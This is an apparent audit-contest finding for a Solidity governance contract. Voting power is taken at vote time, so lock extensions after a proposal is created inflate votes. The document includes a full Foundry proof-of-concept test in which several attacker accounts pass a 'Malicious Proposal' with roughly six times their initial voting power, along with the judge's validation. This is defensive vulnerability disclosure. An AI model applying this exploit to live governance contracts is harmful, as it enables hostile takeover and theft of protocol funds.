Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Voting power would be manipulated by extending proposals

Summary

In governance.sol contract, there is a vul that allows attackers to manipulate voting power through strategic lock duration extensions. This issue is caused by the ability to extend lock durations after a proposal has been created and votes have been cast, leading to retroactive voting power increases.

I created a POC that demonstrates a different type of approach to an attack that a coordinated group of attackers can amplify their voting power by up to 6x by extending their lock durations after initially voting, effectively turning a minority position into a controlling majority.

This manipulation completely undermines the democratic governance process and allows attackers to pass malicious proposals with far less initial capital than intended.

In normal conditions, voting power should be determined at the time of proposal creation and remain constant throughout the voting period. However, the current flawed implementation allows users to extend their lock duration after voting, retroactively increasing their voting weight and dramatically affecting the outcome of active proposals.

This POC shows an attack where:

  • Initial votes: ~499,657 voting power units

  • Final votes after manipulation: ~3,297,739 voting power units

  • Achieved multiplication: 6x increase

  • Quorum remains unchanged at ~131,923 units

This represents a severe threat to the protocol's governance security and stability.

Vulnerability Details

in Governance.sol:

function castVote(uint256 proposalId, bool support) external override returns (uint256) {
// ... checks ...
uint256 weight = _veToken.getVotingPower(msg.sender);
if (weight == 0) {
revert NoVotingPower(msg.sender, block.number);
}
proposalVote.hasVoted[msg.sender] = true;
if (support) {
proposalVote.forVotes += weight;
} else {
proposalVote.againstVotes += weight;
}
// ... events ...
}

Root Cause

The vulnerability stems from several design flaws:

  • Dynamic Vote Weight:

uint256 weight = _veToken.getVotingPower(msg.sender); <====== issue
proposalVote.forVotes += weight;

No Lock Duration Restrictions:

function extend(uint256 extensionDays) external {
// No checks for active votes
// No restrictions during voting periods
}

Proof of code: add this coe to a test file and run the code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../../../../contracts/core/governance/proposals/Governance.sol";
import "../../../../../contracts/core/governance/proposals/TimelockController.sol";
import "../../../../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
import "../../../../../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
contract MockRAACToken is ERC20 {
constructor() ERC20("RAAC", "RAAC") {
_mint(msg.sender, 10_000_000e18);
}
}
contract GovernanceTest is Test {
Governance public governance;
TimelockController public timelock;
veRAACToken public veToken;
MockRAACToken public raacToken;
address public admin = address(this);
address public attacker = makeAddr("attacker");
address[] public attackerAccounts;
uint256 constant NUM_ACCOUNTS = 5;
function setUp() public {
raacToken = new MockRAACToken();
veToken = new veRAACToken(address(raacToken));
address[] memory proposers = new address[](1);
address[] memory executors = new address[](1);
proposers[0] = admin;
executors[0] = admin;
timelock = new TimelockController(2 days, proposers, executors, admin);
governance = new Governance(address(veToken), address(timelock));
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
// Create multiple attacker accounts
for(uint i = 0; i < NUM_ACCOUNTS; i++) {
attackerAccounts.push(makeAddr(string.concat("attacker", vm.toString(i))));
// Give each account enough tokens for their larger lock amount
uint256 accountTokens = 200_000e18 * (i + 1);
raacToken.transfer(attackerAccounts[i], accountTokens);
}
// Give extra tokens to attacker0 for the proposal
raacToken.transfer(attackerAccounts[0], 500_000e18);
// Label accounts for better trace readability
vm.label(attackerAccounts[1], "legitimateUser");
vm.label(attackerAccounts[0], "attacker");
}
function testVotingPowerManipulation() public {
emit log_string("\n=== Phase 1: Initial Setup ===");
// Attacker0 locks maximum duration initially
vm.startPrank(attackerAccounts[0]);
raacToken.approve(address(veToken), 500_000e18);
veToken.lock(500_000e18, 1460 days); // Max lock duration
vm.stopPrank();
emit log_named_uint(
"Attacker0 initial voting power",
veToken.getVotingPower(attackerAccounts[0])
);
// Other accounts lock shorter duration
for(uint i = 1; i < attackerAccounts.length; i++) {
vm.startPrank(attackerAccounts[i]);
uint256 lockAmount = 200_000e18 * (i + 1);
raacToken.approve(address(veToken), lockAmount);
veToken.lock(lockAmount, 365 days); // Initial minimum lock
vm.stopPrank();
emit log_named_uint(
string.concat("Account ", vm.toString(i), " initial voting power"),
veToken.getVotingPower(attackerAccounts[i])
);
}
emit log_string("\n=== Phase 2: Create Malicious Proposal ===");
// Create proposal
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
targets[0] = address(timelock);
values[0] = 0;
calldatas[0] = abi.encodeWithSignature("maliciousAction()");
vm.prank(attackerAccounts[0]);
uint256 proposalId = governance.propose(
targets,
values,
calldatas,
"Malicious Proposal",
IGovernance.ProposalType.TreasuryAction
);
emit log_string("\n=== Phase 3: Execute Voting Attack ===");
// Move to voting period
vm.warp(block.timestamp + governance.votingDelay() + 1);
// First vote with attacker0's max power
vm.prank(attackerAccounts[0]);
governance.castVote(proposalId, true);
(uint256 initialVotes,) = governance.getVotes(proposalId);
emit log_named_uint("Initial votes", initialVotes);
// Other accounts extend their locks to max duration before voting
for(uint i = 1; i < attackerAccounts.length; i++) {
vm.startPrank(attackerAccounts[i]);
// Calculate extension needed (1460 - 365 = 1095 days)
uint256 extensionDays = 1095 days;
veToken.extend(extensionDays); // Extend to max duration
governance.castVote(proposalId, true);
vm.stopPrank();
(uint256 currentVotes,) = governance.getVotes(proposalId);
emit log_named_uint(
string.concat("Votes after account ", vm.toString(i), " with max lock"),
currentVotes
);
}
emit log_string("\n=== Phase 4: Attack Results ===");
// Get final vote counts
(uint256 finalVotes,) = governance.getVotes(proposalId);
emit log_named_uint("Initial votes", initialVotes);
emit log_named_uint("Final votes", finalVotes);
emit log_named_uint("Vote multiplier achieved", finalVotes / initialVotes);
// Check quorum manipulation
uint256 initialQuorum = governance.quorum();
vm.warp(block.timestamp + 30 days);
uint256 finalQuorum = governance.quorum();
emit log_named_uint("Initial quorum", initialQuorum);
emit log_named_uint("Final quorum", finalQuorum);
// Verify attack success
assertTrue(
finalVotes > initialVotes * 2,
"Attack should at least double effective voting power"
);
// Check proposal state
vm.warp(block.timestamp + governance.votingPeriod());
IGovernance.ProposalState state = governance.state(proposalId);
assertTrue(
state == IGovernance.ProposalState.Succeeded,
"Proposal should succeed with manipulated votes"
);
}

Attack Flow

  • Initial Setup:

// Attacker0 locks maximum duration initially
vm.startPrank(attackerAccounts[0]);
veToken.lock(500_000e18, 1460 days);
vm.stopPrank();
// creates other accounts with shoerter duration
for(uint i = 1; i < attackerAccounts.length; i++) {
vm.startPrank(attackerAccounts[i]);
uint256 lockAmount = 200_000e18 * (i + 1);
veToken.lock(lockAmount, 365 days);
vm.stopPrank();
}

Create and Vote on Proposal:

// Create malicious proposal
uint256 proposalId = governance.propose(
targets,
values,
calldatas,
"Malicious Proposal",
IGovernance.ProposalType.TreasuryAction
);
// Initial votes cast
governance.castVote(proposalId, true);

Execute Attack:

// Other accounts extend their locks to max duration
for(uint i = 1; i < attackerAccounts.length; i++) {
vm.startPrank(attackerAccounts[i]);
uint256 extensionDays = 1095 days;
veToken.extend(extensionDays);
governance.castVote(proposalId, true);
vm.stopPrank();
}

Impact

Governance Manipulation:

  • Minority stakeholders gain majority control

  • Malicious proposals would be passed with minimal initial capital

  • Democratic process completely undermined

Tools Used

Recommendations

  • Add lock extension restrictions:

  • Implement proposal creation checks

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance.castVote uses current voting power instead of proposal creation snapshot, enabling vote manipulation through token transfers and potential double-voting

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Governance.castVote uses current voting power instead of proposal creation snapshot, enabling vote manipulation through token transfers and potential double-voting

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.